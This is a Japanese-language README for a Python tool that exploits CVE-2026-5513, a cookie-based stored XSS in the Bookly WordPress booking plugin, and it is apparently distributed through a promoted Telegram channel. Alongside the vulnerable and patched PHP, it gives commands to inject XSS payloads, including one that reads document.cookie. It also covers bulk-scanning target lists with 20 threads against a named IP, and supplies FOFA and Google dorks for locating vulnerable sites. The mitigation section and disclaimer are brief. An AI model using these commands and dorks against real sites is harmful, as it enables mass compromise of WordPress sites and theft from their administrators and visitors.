
CVE-2026-5513 — Bookly ≤ 27.2 保存型XSS (Cookie経由)
CVE-2026-5513 — Bookly ≤ 27.2 Stored XSS via Cookie
CVE-2026-5513 — Bookly ≤ 27.2 Stored XSS via Cookie
CVE CVSS Type Auth
https://t.me/FreeToolsCpa CVE file In Group
概要
フィールド 値
CVE ID CVE-2026-5513
脆弱性 Stored Cross-Site Scripting (XSS)
プラグイン Bookly — Online Scheduling and Appointment Booking System
影響を受けるバージョン ≤ 27.2
修正済み 27.3+
CVSS 3.1 7.2 (High) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
CWE CWE-79
認証の必要性 不要
前提条件 ブラウザのCookieに個人情報を記憶する設定が有効になっていること(デフォルトでは無効)
説明
WordPress用プラグインBooklyは、バージョン27.2以前において、入力サニタイズと出力エスケープの不十分さにより、bookly-customer-full-name Cookieを介したStored Cross-Site Scriptingの脆弱性が存在します。
「Cookieに個人情報を記憶する」設定が有効な場合、プラグインはbookly-customer-full-name Cookieの値を読み取り、適切なエスケープを行わずに予約フォームのHTMLに直接レンダリングします。認証されていない攻撃者は、このCookieを介して任意のJavaScriptペイロードを注入でき、管理者を含むすべてのユーザーがBookly予約フォームを含むページにアクセスするとペイロードが実行されます。
攻撃フロー
攻撃者 → 悪意のあるCookieを設定 (bookly-customer-full-name=<script>...</script>)
→ Bookly予約フォームがあるページにアクセス
→ プラグインがCookieを読み取り、エスケープせずに値をレンダリング
→ XSSペイロードが被害者のブラウザコンテキストで実行
根本原因
// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // サニタイズなし
echo '<input type="text" value="' . $full_name . '" />'; // エスケープなし
// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
機能 ✓ 自動IP/ドメインプローブ(HTTP/HTTPS、一般的なポート、リダイレクト検出) ✓ WordPressおよびBooklyプラグインの検出とバージョン確認 ✓ Cookie設定の検出(BooklyL10n JS解析+カナリアリフレクション) ✓ マルチコンテキストXSSテスト(HTML、JavaScript、属性インジェクション) ✓ リフレクション検証付きペイロード注入 ✓ 単一ターゲットまたはファイルからの一括スキャン ✓ マルチスレッドスキャン(最大20スレッド) ✓ プロキシ対応(Burp等) ✓ 脆弱な結果の自動保存 ✓ 対話型メニュー+CLIモード インストール
pip install requests colorama
使用方法 CLIモード
# 単一ターゲットのチェック
python CVE-2026-5513.py -u https://target.com -v
# 単一IPのチェック(ポートとリダイレクトを自動プローブ)
python CVE-2026-5513.py -u 167.99.0.203 -v
# XSSペイロードの注入とチェック
python CVE-2026-5513.py -u https://target.com --inject -v
# カスタムXSSペイロード
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# ファイルから一括スキャン
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# Burpプロキシ経由
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
対話型モード
python CVE-2026-5513.py
オプション
フラグ 説明
-u URL 単一ターゲット(URL、ドメイン、IP)
-l FILE ターゲットリストファイル(1行に1つ)
--inject XSSペイロードを注入(デフォルトはチェックのみ)
--payload STR カスタムXSSペイロード
-t N スレッド数(デフォルト10、最大20)
--proxy URL HTTPプロキシ(例: http://127.0.0.1:8080)
-o FILE 結果をファイルに保存
-v 詳細出力
ターゲット形式
ツールは-uまたはターゲットリストファイルで以下の形式を受け入れます:
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
ベアIPの場合、ツールは自動的に:
エクスプロイトチェーン STEP 0 → ターゲットをプローブ(IP/ドメイン → ベースURLを解決、リダイレクト検出) STEP 1 → Booklyプラグインを検出(readme.txt、プラグインディレクトリ、アセット、バージョンチェック) STEP 2 → Cookie設定をチェック(BooklyL10n JS解析+カナリアリフレクションテスト) STEP 3 → XSSリフレクションをテスト(HTMLコンテキスト、JSコンテキスト、属性コンテキスト) STEP 4 → ペイロードを注入(--injectモードの場合、リフレクションを検証) Google Dorks
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
対策 優先度 対応 🔴 Booklyをバージョン27.3以上にアップデート 🟡 Bookly設定 → 一般 で「Cookieに個人情報を記憶する」を無効にする 🟢 Cookie値のXSSをフィルタリングするWAFルールを導入 🟢 Content-Security-Policy (CSP) ヘッダーを実装 参考情報 NVD — CVE-2026-5513 Wordfence Advisory Tenable Bookly Changelog 免責事項 このツールは、許可されたセキュリティテストおよび教育目的のみで提供されています。コンピュータシステムへの不正アクセスは違法です。テストを実施する前に必ず適切な許可を取得してください。作成者は本ツールの誤用に対して一切の責任を負いません。 https://t.me/FreeToolsCpa https://t.me/FreeToolsCpa https://t.me/FreeToolsCpa